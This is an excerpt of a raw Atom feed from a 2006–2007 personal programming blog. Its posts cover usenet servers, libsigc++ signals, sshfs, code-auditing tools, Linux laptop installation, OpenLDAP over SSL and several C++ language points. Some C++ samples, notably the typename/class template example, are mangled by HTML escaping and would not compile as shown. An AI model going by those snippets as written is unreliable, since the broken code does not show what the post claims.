href='http://www.blogger.com/feeds/23323574/posts/default/8222561493252981185'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/02/perl-practical-oo-design-of-complex.html' title='Perl: a practical OO design of complex system'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-788470442920823912</id><published>2007-02-16T11:59:00.000-05:00</published><updated>2007-02-16T12:03:39.454-05:00</updated><title type='text'>the quest of free usenet news server</title><content type='html'>Wait, I thought the first rule of usenet is you don't talk about usenet. :) Anyways, usenet has been a huge source of knowledge and entertainment for me. It's been frustrating lately since my home broadband ISP decides to be smart and stopped allowing people using their news server from anywhere but home. It's time to find a free usenet news server.&lt;br /&gt;&lt;br /&gt;http://news.aioe.org/ is the result of my quest. It's very fast, reliable and hassle-free. It's a very respectable server and I encourage you to use it and follow its user guidelines.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-788470442920823912?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/788470442920823912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/788470442920823912'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/02/quest-of-free-usenet-news-server.html' title='the quest of free usenet news server'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-604559463449732709</id><published>2007-02-02T14:20:00.001-05:00</published><updated>2008-04-01T11:16:12.162-05:00</updated><title type='text'>Introducing libsigc++</title><content type='html'>libsigc++ library captures the publisher/subscriber pattern nicely in a typesafe modular way.  For example,&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &lt; sigc++/sigc++.h&gt;&lt;br /&gt;#include &lt; sigc++/signal.h&gt;&lt;br /&gt;#include &lt; sigc++/signal_base.h&gt;&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;#include &lt; string&gt;&lt;br /&gt;using std::cout;&lt;br /&gt;using std::endl;&lt;br /&gt;&lt;br /&gt;class Publisher&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;    Publisher(){};&lt;br /&gt;&lt;br /&gt;    void run() { sleep(3); signal_detected.emit("Detector news"); }&lt;br /&gt;&lt;br /&gt;    sigc::signal&lt;void,&gt; signal_detected;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;void subscriber_fptr(std::string news)&lt;br /&gt;{&lt;br /&gt;    cout &lt;&lt; news &lt;&lt; ": There are aliens in the carpark!" &lt;&lt; endl;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;class Subscriber : public sigc::trackable&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;    Subscriber() {} ;&lt;br /&gt;    void subscriber(std::string news) { cout &lt;&lt; news &lt;&lt; ": Aliens alert, aliens alert!" &lt;&lt; endl; }&lt;br /&gt;private:&lt;br /&gt;    // ...&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    Publisher mydetector;&lt;br /&gt;    mydetector.signal_detected.connect( sigc::ptr_fun(subscriber_fptr) );&lt;br /&gt;&lt;br /&gt;    Subscriber sub;   // added&lt;br /&gt;    sigc::connection sub_plan = mydetector.signal_detected.connect( sigc::mem_fun(sub, &amp;Subscriber::subscriber) ); // changed&lt;br /&gt;&lt;br /&gt;    cout &lt;&lt; "Subscriber subscribed to alienDector news\n";&lt;br /&gt;    mydetector.run();&lt;br /&gt;    cout &lt;&lt; "Subscriber stopped subscribing to alienDector news\n";&lt;br /&gt;    sub_plan.disconnect();&lt;br /&gt;    mydetector.run();&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;sigc++&gt;&lt;sigc++&gt;&lt;sigc++&gt;&lt;iostream&gt;&lt;string&gt;&lt;void,&gt;&lt;br /&gt;Notice how closely the library embraces the publisher/subscriber pattern. It'd been perfect if the functions (connect, disconnect) were renamed to (subscribe, unsubscribe)... C# offers the same pattern with the delegation model (new keywords delegate are introduced in C# to facilitate the pattern).&lt;br /&gt;&lt;br /&gt;In order to compile/run the sample code, install libsigc++ and libsigc++-devel packages, the compile command is:&lt;br /&gt;g++ -I/usr/include/sigc++-2.0/ -I/usr/lib/sigc++-2.0/include -o sigcpp_t sigcpp_t.cpp -L/usr/lib -lsigc-2.0&lt;/void,&gt;&lt;/string&gt;&lt;/iostream&gt;&lt;/sigc++&gt;&lt;/sigc++&gt;&lt;/sigc++&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-604559463449732709?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/604559463449732709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/604559463449732709'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/02/introducing-libsigc.html' title='Introducing libsigc++'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-2329292416154252319</id><published>2007-01-17T16:35:00.000-05:00</published><updated>2007-01-17T17:11:20.743-05:00</updated><title type='text'>introducing sshfs</title><content type='html'>fuse and sshfs are useful tools to mount file systems across computers that have ssh installed. &lt;br /&gt;on FC5, simply do 'yum install sshfs'. Client system (exporting mounting points) needs to have &lt;br /&gt;the following entries enabled in sshd_config:&lt;br /&gt;&lt;br /&gt;-&gt; Subsystem       sftp    /usr/lib/openssh/sftp-server&lt;br /&gt;-&gt; TCPKeepAlive yes&lt;br /&gt;&lt;br /&gt;&lt;style&gt;i{content: normal !important}&lt;/style&gt;&lt;style&gt;i{content: normal !important}&lt;/style&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-2329292416154252319?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2329292416154252319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2329292416154252319'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/01/introducing-sshfs.html' title='introducing sshfs'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-2817930577720047815</id><published>2007-01-11T11:54:00.000-05:00</published><updated>2007-01-11T11:59:49.209-05:00</updated><title type='text'>source code auditing and profiling</title><content type='html'>I've recently stumbled upon this source code auditing software called splint ( http://www.splint.org/). It can be used to identify many security related issues statically at source code level. The manual is very comprehensive.&lt;br /&gt;&lt;br /&gt;There is also a very good profiling software called oprofile (http://oprofile.sourceforge.net) with decent performance and profiling capabilities. I used to use histx on itanium2 based hardware. These softwares provide similar functions (namely sampling and reporting of hardware events)&lt;br /&gt;&lt;br /&gt;Together with valgrind, these tools can be very valuable to identify software problems, security, performance, memory leak etc.&lt;br /&gt;&lt;br /&gt;&lt;style&gt;i{content: normal !important}&lt;/style&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-2817930577720047815?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2817930577720047815'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/2817930577720047815'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/01/source-code-auditing-and-profiling.html' title='source code auditing and profiling'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5422515045078750368</id><published>2007-01-05T17:19:00.000-05:00</published><updated>2007-01-05T17:25:38.190-05:00</updated><title type='text'>HOWTO: install 64 bit linux on Dell Inspiron 1501</title><content type='html'> There are only 2 fine details to know as of Jan. 2007 to install 64 bit linux on this fine Laptop. 1) Append pci=nomsi to the kernel parameter list when booting from a installation CD (I used FC6-x86-64, partly because I use FC at work on my desktop. Gentoo, Ubuntu, openSUSE distributions all work with the magic kernel paramter added).&lt;br /&gt;2) Follow this fine HOWTO found on ubuntu website: http://www.ubuntuforums.org/showthread.php?t=297092 to setup wireless.&lt;br /&gt;&lt;br /&gt;Other devices are automatically taken care of after fc6 installation. Welcome to the world of 64 home computing.&lt;br /&gt;&lt;style&gt;i{content: normal !important}&lt;/style&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5422515045078750368?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5422515045078750368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5422515045078750368'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/01/howto-install-64-bit-linux-on-dell.html' title='HOWTO: install 64 bit linux on Dell Inspiron 1501'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-949784415228883196</id><published>2007-01-03T17:09:00.000-05:00</published><updated>2007-01-03T17:14:01.064-05:00</updated><title type='text'>So it's year 2007</title><content type='html'>There are a couple things that I need to finish up with my house. It's showing its age and lots of repair work needs to be done. Try to facilitate my computer skills, I am shopping for a good home inventory software. I am also getting very comfortable with gentoo Linux, it's like slackware on steroid. It's tiny and very manageable.&lt;br /&gt;&lt;br /&gt;I've also learnt a few new tricks with Kerberos and LDAP. Getting comy with PKI (public key exchange infrastructure), SSL, etc.&lt;br /&gt;&lt;br /&gt;I may be expecting a baby this year. He/she shall grow up playing soccer with me. :)&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-949784415228883196?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/949784415228883196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/949784415228883196'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/01/so-its-year-2007.html' title='So it&apos;s year 2007'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1109851439047109847</id><published>2006-12-26T16:30:00.000-05:00</published><updated>2006-12-26T16:36:41.697-05:00</updated><title type='text'>setup openldap with ssl</title><content type='html'>The following url has a comprehensive description of configuring openldap server to use ssl:&lt;br /&gt; http://www.openldap.org/pub/ksoper/OpenLDAP_TLS.html&lt;br /&gt;&lt;br /&gt;Essentially, one can choose between basic server side ssl (one way authentication with a single self-signed root CA) setup and advanced client side ssl (two way authentication with server side root CA, private key, root CA signed server cert, client private key, root CA signed client certificate) setup. I have successfully setup ldaps using the documention in the provided URL. It also covers a bit of openssl usage which is nice. It certainly is an accomplishment after manually setting up openldap server/client using SSL and understanding what's going on behind the scene.&lt;br /&gt;&lt;br /&gt;One thing learnt is that when certificate is involved, it's extremely important to use the right hostname or ipaddress but not both that matches what's recorded in certificates. openssl is a good tool to diagnose this sort of issues with its s_client and s_server emulation operations.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1109851439047109847?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1109851439047109847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1109851439047109847'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/setup-openldap-with-ssl.html' title='setup openldap with ssl'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-592843644435501928</id><published>2006-12-15T15:38:00.001-05:00</published><updated>2008-04-01T11:24:57.577-05:00</updated><title type='text'>C++ typename and class are not equivalent in template programming</title><content type='html'>Contrary to the belief most C++ programmers held that class and typename can be used interchangeably or equivalent, there are few occasions that one must use typename instead of class. I think the rule of the thumb is 'use typename instead of class' in template programing, apart from the reason alone that typename by itself is more descriptive of the intention than class.&lt;br /&gt;&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;&lt;br /&gt;template&lt; typename t =" Val_"&gt; class Cont_{  // class is not allowed.&lt;br /&gt;Val_ sum(Cont_&lt;val_&gt;&amp; c) {&lt;br /&gt;        Val_ sum = 0;&lt;br /&gt;        for (typename Cont_&lt;val_&gt;::iterator i = c.begin(); i &lt; c.end(); ++i)&lt;br /&gt;                sum += *i;&lt;br /&gt;        return sum;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;template&lt; typename T&gt;&lt;br /&gt;class Test {&lt;br /&gt;        T t[3];&lt;br /&gt;public:&lt;br /&gt;        typedef T* iterator;&lt;br /&gt;&lt;br /&gt;        Test() { t[0] = t[1] = t[2] = 1; }&lt;br /&gt;        T* begin() {return t;}&lt;br /&gt;        T* end() {return t+3;}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;        Test&lt; int&gt; test;&lt;br /&gt;        std::cout &lt;&lt; sum(test);&lt;br /&gt;}&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;&lt;br /&gt;template&lt; typename t =" Val_"&gt; class Cont_{  //HERE&lt;br /&gt;Val_ sum(Cont_&lt; val_&gt;&amp; c) {&lt;br /&gt;        Val_ sum = 0;&lt;br /&gt;        for (typename Cont_&lt; val_&gt;::iterator i = c.begin(); i &lt; c.end(); ++i)&lt;br /&gt;                sum += *i;&lt;br /&gt;        return sum;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;template&lt; typename&gt;&lt;br /&gt;class Test {&lt;br /&gt;        T t[3];&lt;br /&gt;public:&lt;br /&gt;        typedef T* iterator;&lt;br /&gt;&lt;br /&gt;        Test() { t[0] = t[1] = t[2] = 1; }&lt;br /&gt;        T* begin() {return t;}&lt;br /&gt;        T* end() {return t+3;}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;        Test&lt; int&gt; test;&lt;br /&gt;        std::cout &lt;&lt; sum(test);&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-592843644435501928?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/592843644435501928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/592843644435501928'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/c-typename-and-class-are-not-equivalent.html' title='C++ typename and class are not equivalent in template programming'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-3321709001471268695</id><published>2006-12-15T14:55:00.000-05:00</published><updated>2006-12-15T15:08:32.261-05:00</updated><title type='text'>C/C++ local and global static variables</title><content type='html'>There appears to be some confusion in people's  mind how static variables operate. Quote from CLC++:&lt;br /&gt;&lt;br /&gt;The implication of this is that the compiler has to generate&lt;br /&gt;a hidden static flag to prevent re-initialization, and that flag&lt;br /&gt;has to be checked every time control passes the local static&lt;br /&gt;definition.The implication of this is that the compiler has to generate&lt;br /&gt;a hidden static flag to prevent re-initialization, and that flag&lt;br /&gt;has to be checked every time control passes the local static&lt;br /&gt;definition.&lt;br /&gt;&lt;br /&gt;As will be demonstrated by the following code, local static variables are usualy implemented exactly the same as global static variables,&lt;br /&gt;&lt;br /&gt;# more static_t.c&lt;br /&gt;static int si;&lt;br /&gt;&lt;br /&gt;void foo(int x){&lt;br /&gt;    static int z;&lt;br /&gt;    z = z + x;&lt;br /&gt;    si = x;&lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#gcc -c static_t.c&lt;br /&gt;[feiliu@maple c]$ objdump -d static_t1a.o&lt;br /&gt;&lt;br /&gt;static_t1a.o:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;Disassembly of section .text:&lt;br /&gt;&lt;br /&gt;00000000 &lt;foo&gt;:&lt;br /&gt;   0:   55                      push   %ebp&lt;br /&gt;   1:   89 e5                   mov    %esp,%ebp&lt;br /&gt;   3:   a1 00 00 00 00          mov    0x0,%eax       &lt;------------ RELOCATABLE RECORD&lt;br /&gt;   8:   03 45 08                add    0x8(%ebp),%eax&lt;br /&gt;   b:   a3 00 00 00 00          mov    %eax,0x0       &lt;------------ RELOCATABLE RECORD&lt;br /&gt;  10:   8b 45 08                mov    0x8(%ebp),%eax&lt;br /&gt;  13:   a3 04 00 00 00          mov    %eax,0x4       &lt;------------ RELOCATABLE RECORD&lt;br /&gt;  18:   5d                      pop    %ebp&lt;br /&gt;  19:   c3                      ret&lt;br /&gt;[feiliu@maple c]$ objdump -x static_t1a.o&lt;br /&gt;&lt;br /&gt;static_t1a.o:     file format elf32-i386&lt;br /&gt;static_t1a.o&lt;br /&gt;architecture: i386, flags 0x00000011:&lt;br /&gt;HAS_RELOC, HAS_SYMS&lt;br /&gt;start address 0x00000000&lt;br /&gt;&lt;br /&gt;Sections:&lt;br /&gt;Idx Name          Size      VMA       LMA       File off  Algn&lt;br /&gt;  0 .text         0000001a  00000000  00000000  00000034  2**2&lt;br /&gt;                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE&lt;br /&gt;  1 .data         00000000  00000000  00000000  00000050  2**2&lt;br /&gt;                  CONTENTS, ALLOC, LOAD, DATA&lt;br /&gt;  2 .bss          00000008  00000000  00000000  00000050  2**2&lt;br /&gt;                  ALLOC&lt;br /&gt;  3 .comment      0000002d  00000000  00000000  00000050  2**0&lt;br /&gt;                  CONTENTS, READONLY&lt;br /&gt;  4 .note.GNU-stack 00000000  00000000  00000000  0000007d  2**0&lt;br /&gt;                  CONTENTS, READONLY&lt;br /&gt;SYMBOL TABLE:&lt;br /&gt;00000000 l    df *ABS*  00000000 static_t1a.c&lt;br /&gt;00000000 l    d  .text  00000000 .text&lt;br /&gt;00000000 l    d  .data  00000000 .data&lt;br /&gt;00000000 l    d  .bss   00000000 .bss&lt;br /&gt;00000000 l     O .bss   00000004 z.1281&lt;br /&gt;00000004 l     O .bss   00000004 si&lt;br /&gt;00000000 l    d  .note.GNU-stack        00000000 .note.GNU-stack&lt;br /&gt;00000000 l    d  .comment       00000000 .comment&lt;br /&gt;00000000 g     F .text  0000001a foo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;RELOCATION RECORDS FOR [.text]:&lt;br /&gt;OFFSET   TYPE              VALUE&lt;br /&gt;00000004 R_386_32          .bss&lt;br /&gt;0000000c R_386_32          .bss&lt;br /&gt;00000014 R_386_32          .bss&lt;br /&gt;&lt;br /&gt;The compiler has generated identical machine code for the both global and static variables and the relocatable records indicate that their storage segment is .bss segment. Refer to a previous article on this subject about how static variables are implemented by compilers/linkers.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-3321709001471268695?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3321709001471268695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3321709001471268695'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/cc-local-and-global-static-variables.html' title='C/C++ local and global static variables'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-6008139134778674087</id><published>2006-12-14T14:17:00.000-05:00</published><updated>2006-12-14T14:20:06.998-05:00</updated><title type='text'>C++ rules of the thumb: choose the proper function parameter prototype</title><content type='html'>Quote from CLC++:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;When designing a function, we can make the parameter type T, const T&amp;,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;T&amp;, const T*, or T*. The OP asked how to decide between the five&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;options. I'm interested in your answer. How do you decide between them?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Can your formulate your decision process as an algorithm?When designing a function, we can make the parameter type T, const T&amp;,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;T&amp;, const T*, or T*. The OP asked how to decide between the five&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;options. I'm interested in your answer. How do you decide between them?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  if( there does not need to be a way to express "no value" )&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      if( parameter is just an in parameter )&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          if( the type is sufficiently small so the overhead of&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;              copying is less than the overhead of accessing&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;              it through a pointer)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;              pass by value&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;              if( the function is C++ only)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                  pass by const reference&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;              else // it needs to be callable from C&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                  pass by const pointer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      {  // parameter is out or inout&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          if( the function is C++ only )&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;              pass by reference&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;              pass by pointer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  { // there needs to be a way to express "no value"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      if( parameter is an in parameter )&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          pass by const pointer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;          pass by pointer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  } &lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-6008139134778674087?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6008139134778674087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6008139134778674087'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/c-rules-of-thumb-choose-proper-function.html' title='C++ rules of the thumb: choose the proper function parameter prototype'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7882417319514473341</id><published>2006-12-14T11:50:00.001-05:00</published><updated>2008-04-01T11:27:23.027-05:00</updated><title type='text'>C++ const reference and template generic programming</title><content type='html'>Consider that you are required to write a min function (not macro), in C++ the best approach would be to use a template function to write the min function once for all:&lt;br /&gt;&lt;br /&gt;inline template &lt; typename&gt;&lt;br /&gt;T min(T const&amp; a, T const&amp;amp; b) { return a &lt; b? a: b; }&lt;br /&gt;&lt;br /&gt;However there is a subtle issue here with const reference argument when it comes to character array literals. To quote Noah Roberts from CLC++:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;The problem has to do with how character arrays get resolved per&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;reference vs. value.  For example you wouldn't be able to pass two&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;string literals of different length to that function:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;char * x = min("hello", "hell");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Nope...won't work (not according to the book anyway).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Reason, becasue it is reference semantics it attempts to pass char[6]&amp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;as first and char[5]&amp; as second parameters...can't happen.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The way to fix this is to override for char*, which you have to do&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;anyway:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;template&lt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;char* min&lt;char*&gt;(char* l, char* r) { ... do strcmp stuff...}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;So, there is no "problem" to speak of, just something to be aware of.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-7882417319514473341?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7882417319514473341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7882417319514473341'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/12/c-const-reference-and-template-generic.html' title='C++ const reference and template generic programming'/><author><name>Fei 